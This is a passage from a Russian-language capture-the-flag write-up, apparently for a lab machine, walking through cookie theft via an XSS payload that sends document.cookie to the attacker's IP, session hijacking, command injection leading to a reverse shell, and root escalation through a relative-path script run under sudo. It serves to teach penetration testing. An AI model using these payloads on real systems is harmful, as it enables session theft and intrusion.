  &lt;p id=&quot;t8Tp&quot;&gt;Наша нагрузка &lt;code&gt;&amp;lt;img src=x onerror=fetch(&amp;#x27;&lt;a href=&quot;http://10.10.14.101/?c=&quot; target=&quot;_blank&quot;&gt;http://10.10.14.101/?c=&lt;/a&gt;&amp;#x27;+document.cookie);&lt;/code&gt; представляет из себя JavaScript код, который отрабатывает следующим образом:&lt;br /&gt;1) Тэг &lt;code&gt;&amp;lt;img src=x&amp;gt;&lt;/code&gt; содержит ссылку на неизвестное изображение с названием &lt;code&gt;x&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;qHUJ&quot;&gt;2) Если наше изображение не найдено, то отрабатывает атрибут &lt;code&gt;onerror=fetch(...)&lt;/code&gt;, где&lt;code&gt; fetch &lt;/code&gt;- это метод, который позволяет отправить серверу сетевой запрос. &lt;/p&gt;
  &lt;p id=&quot;KBEv&quot;&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;uDxA&quot;&gt;Базовый синтаксис:&lt;/p&gt;
    &lt;pre id=&quot;BHdE&quot;&gt;let promise = fetch(url, [options])&lt;/pre&gt;
    &lt;ul id=&quot;YUOA&quot;&gt;
      &lt;li id=&quot;rNXj&quot;&gt;&lt;strong&gt;&lt;code&gt;url&lt;/code&gt;&lt;/strong&gt; – URL для отправки запроса.&lt;/li&gt;
      &lt;li id=&quot;1Q64&quot;&gt;&lt;strong&gt;&lt;code&gt;options&lt;/code&gt;&lt;/strong&gt; – дополнительные параметры: метод, заголовки и так далее.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;dVoX&quot;&gt;Параметр &lt;code&gt;document.cookie &lt;/code&gt;- это свойство, которое позволяет нам считать куки из браузера.&lt;br /&gt;Значение &lt;code&gt;document.cookie&lt;/code&gt; состоит из пар &lt;code&gt;ключ=значение&lt;/code&gt;, разделённых &lt;code&gt;;&lt;/code&gt;. Каждая пара представляет собой отдельное куки.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;Nj0K&quot;&gt;И самое главное! Чтобы получить &lt;code&gt;HTTP-Response &lt;/code&gt;от сервера, мы должны его поднять на нашей машине:&lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;O8ci&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fd/00/fd00f122-eab3-4fe7-b4da-ef02ac1424c3.png&quot; width=&quot;689&quot; /&gt;
    &lt;figcaption&gt;localhost.server , доступный по порту 80&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;qoZx&quot;&gt;Ждем пару минут и начинаем получать цепочку ответов на наш с вами сервер:&lt;/p&gt;
  &lt;figure id=&quot;8rJf&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1f/46/1f46a1ad-76ac-499b-9496-9e314c5a4faa.png&quot; width=&quot;693&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;8lBJ&quot;&gt;Скопируем куки , которые мы получили и используем Burp Suite чтобы прокинуть запрос с обновленными данными:&lt;/p&gt;
  &lt;figure id=&quot;VYoC&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d0/ce/d0ce4ded-d88d-4b12-bddb-a64ba781a790.png&quot; width=&quot;722&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Bn0f&quot;&gt;Получаем доступ к каталогу &lt;code&gt;/dashboard:&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;4bXL&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0b/b5/0bb568e0-532b-4cf0-86bd-2ccf23a02ba4.png&quot; width=&quot;727&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;rMbh&quot;&gt;Опять же воспользуемся бурпом, чтобы словить&lt;code&gt; POST&lt;/code&gt; запрос и поискать другие уязвимости:&lt;/p&gt;
  &lt;figure id=&quot;pgFY&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/12/2d/122df2e9-d94f-4475-8226-e0a135bae559.png&quot; width=&quot;730&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;KhSx&quot;&gt;Перед нами стандартная CMDi ( OS Command Injection ). Данная уязвимость позволяет выполнять  произвольные системные команды на внутреннем сервере. Воспользуемся этим и &amp;quot;заставим&amp;quot; сервер скушать заранее подготовленный нами reverse-shell код, который позволит нам получить доступ к системе:&lt;/p&gt;
  &lt;figure id=&quot;iMd6&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f9/88/f988d87d-e9f2-498a-a9b3-54561ed9e669.png&quot; width=&quot;737&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;WQhd&quot;&gt;Начнем слушать на входящие соединения 1234 порт с помощью &lt;code&gt;netcat:&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;nDXj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bf/f7/bff712fb-4aa8-4878-be0b-54b7496e214f.png&quot; width=&quot;528&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;976v&quot;&gt;И с помощью &lt;code&gt;curl скачаем наш скрипт и загрузим его в память:&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;VNSe&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/23/a7/23a74646-22e3-49d2-b977-f4f5538a810a.png&quot; width=&quot;758&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;LlJD&quot;&gt;Мы помним ,что у нас уже запущен &lt;code&gt;web-server&lt;/code&gt; на 80 порту, туда и прилетает наш &lt;code&gt;GET-запрос&lt;/code&gt; на скачивание скрипта:&lt;/p&gt;
  &lt;figure id=&quot;zcMx&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bb/a7/bba73d20-8e9f-480d-a0c4-8037b8dec932.png&quot; width=&quot;764&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;uuTr&quot;&gt;И ловим нашу обратную оболочку:&lt;/p&gt;
  &lt;figure id=&quot;wWJy&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/29/51/29512ad9-9173-45f1-8f1d-ec9ac1d864f3.png&quot; width=&quot;787&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;EdQs&quot;&gt;Эскалация привилегий:&lt;/h2&gt;
  &lt;p id=&quot;HelT&quot;&gt;С помощью команды&lt;code&gt; sudo -l&lt;/code&gt; посомотрим на права нашего юзера:&lt;/p&gt;
  &lt;figure id=&quot;vDXd&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/62/22/62223496-8e63-4572-85c0-fdb63d40562a.png&quot; width=&quot;792&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;dQEi&quot;&gt;Можно заметить что мы можем читать файл в директории /usr/bin/syscheck и вот его содержимое: &lt;br /&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;hHDH&quot;&gt;&lt;code&gt;#!/bin/bash&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;J8cm&quot;&gt;&lt;code&gt;if [ &amp;quot;$EUID&amp;quot; -ne 0 ]; then&lt;br /&gt; exit 1&lt;br /&gt;fi&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;Qs5o&quot;&gt;&lt;code&gt;last_modified_time=$(/usr/bin/find /boot -name &amp;#x27;vmlinuz*&amp;#x27; -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)&lt;br /&gt;formatted_time=$(/usr/bin/date -d &amp;quot;@$last_modified_time&amp;quot; +&amp;quot;%d/%m/%Y %H:%M&amp;quot;)&lt;br /&gt;/usr/bin/echo &amp;quot;Last Kernel Modification Time: $formatted_time&amp;quot;&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;Pnad&quot;&gt;&lt;code&gt;disk_space=$(/usr/bin/df -h / | /usr/bin/awk &amp;#x27;NR==2 {print $4}&amp;#x27;)&lt;br /&gt;/usr/bin/echo &amp;quot;Available disk space: $disk_space&amp;quot;&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;sgII&quot;&gt;&lt;code&gt;load_average=$(/usr/bin/uptime | /usr/bin/awk -F&amp;#x27;load average:&amp;#x27; &amp;#x27;{print $2}&amp;#x27;)&lt;br /&gt;/usr/bin/echo &amp;quot;System load average: $load_average&amp;quot;&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;KCb5&quot;&gt;&lt;code&gt;if ! /usr/bin/pgrep -x &amp;quot;initdb.sh&amp;quot; &amp;amp;&amp;gt;/dev/null; then&lt;br /&gt; /usr/bin/echo &amp;quot;Database service is not running. Starting it...&amp;quot;&lt;br /&gt; ./initdb.sh 2&amp;gt;/dev/null&lt;br /&gt;else&lt;br /&gt; /usr/bin/echo &amp;quot;Database service is running.&amp;quot;&lt;br /&gt;fi&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;PLvn&quot;&gt;&lt;code&gt;exit 0&lt;/code&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;99Zu&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;pj7U&quot;&gt;При проверке файла наиболее примечательной частью является попытка программы выполнить файл с именем &lt;code&gt;initdb.sh&lt;/code&gt;. Поскольку для выполнения файла используется относительный путь, мы можем использовать эту возможность , чтобы  создать файл с таким именем в нашем текущем каталоге, что приведет к его выполнению с привилегиями sudo.&lt;/p&gt;
  &lt;figure id=&quot;VQ0Z&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d3/75/d375bbca-76c6-417d-a4d7-e1d56363b36e.png&quot; width=&quot;799&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;WIZZ&quot;&gt;Идея заключается в том, чтобы установить бит SUID для двоичного файла &lt;code&gt;/bin/bash&lt;/code&gt; и повысить наши привилегии с помощью этого. Запуская &lt;code&gt;/bin/bash -p&lt;/code&gt;, когда в двоичном файле установлен бит SUID, опция &lt;code&gt;-p&lt;/code&gt; позволяет оболочке &lt;code&gt;bash &lt;/code&gt;по умолчанию запускаться с привилегиями SUID.&lt;/p&gt;
  &lt;p id=&quot;tQGz&quot;&gt;Теперь запустим наш скрипт от имени &lt;code&gt;sudo &lt;/code&gt;и подтвердим нашу теорию:&lt;/p&gt;
  &lt;figure id=&quot;G3N6&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/66/9d/669def1f-c673-4ca6-b92a-cd09dde2b3a3.png&quot; width=&quot;806&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;cYhC&quot;&gt;Вот и все , машина была взломана. Надеюсь вам понравился данный write-up. Жду ваших реакций и всем пока :)&lt;/p&gt;
  &lt;figure id=&quot;5n2U&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/05/ea/05ea816f-97d9-4dc7-84f2-9d168c24ac30.png&quot; width=&quot;693&quot; /&gt;
  &lt;/figure&gt;

</content></entry></feed>